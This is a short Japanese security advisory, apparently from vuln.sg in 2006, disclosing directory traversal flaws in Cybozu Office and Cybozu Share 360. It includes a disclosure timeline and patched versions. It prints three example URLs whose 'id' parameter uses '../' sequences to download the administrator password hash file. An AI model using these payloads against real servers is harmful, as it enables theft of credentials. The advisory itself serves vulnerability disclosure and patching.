[vuln.sg] Cybozu　2つ製品にファイルダウンロードの脆弱性

Cybozu　2つ製品にディレクトリより上位のファイルにアクセスできる脆弱性があります。悪意のあるユーザは、この問題を利用しサーバーに他のファイルをダウンロード可能性があります。

この脆弱性報告は、Cybozu 2つ製品にファイルダウンロードの脆弱性を公開しました。

Cybozu Office には、ユーザーのためにファイルをダウンロード前に、"/scripts/cbag/ag.exe"　の　"id"　パラメータ処理が不十分であるため、ディレクトリトラバーサルの脆弱性が存在します。悪意のあるユーザは、この問題を利用しサーバーに他のファイルをダウンロード可能性があります。

例　(システム管理用のパスワードハッシュをダウンロードすることができる):

http://192.168.1.64/scripts/cbag/ag.exe?page=FileDownload&
id=../../../../../../../../../../../../../inetpub/scripts/cbag/cb5/data/admin&notimecard=1&type=text&subtype=html&ct=1

2) Cybozu Share 360 ファイル　ダウンロードディレクトリ　トラバーサル

Cybozu Share 360 には、ユーザーのためにファイルをダウンロード前に、"/scripts/s360v2/s360.exe"　の　"id"　パラメータ処理が不十分であるため、ディレクトリトラバーサルの脆弱性が存在します。悪意のあるユーザは、この問題を利用しサーバーに他のファイルをダウンロード可能性があります。

例　(システム管理用のパスワードハッシュをダウンロードすることができる):

http://192.168.1.64/scripts/s360v2/s360.exe?page=FileDownload&
id=../../../../../../../../../../inetpub/scripts/s360v2/s360v2/data/admin&type=text&subtype=plain&ct=1&.txt

http://192.168.1.64/scripts/s360v2/s360.exe?page=MessageDownload&mid=37&
id=../../../../../../../../../../inetpub/scripts/s360v2/s360v2/data/admin&bc=1&type=text&subtype=plain&ct=1&.txt

Cybozu Office:
Version 6.6 (Build 1.3) へのバージョンアップをしてください。修正版のダウンロード。

Cybozu Share 360:
Version 2.5 (Build 0.3) へのバージョンアップをしてください。修正版のダウンロード。

2006年07月04日　-　脆弱性の発見。
2006年07月13日　-　ベンダーに報告しました。
2006年08月25日　-　ベンダーは修正版をリリースしました。
2006年08月28日　-　本脆弱性の公開。
2006年08月31日　-　Corrected spelling error in product name.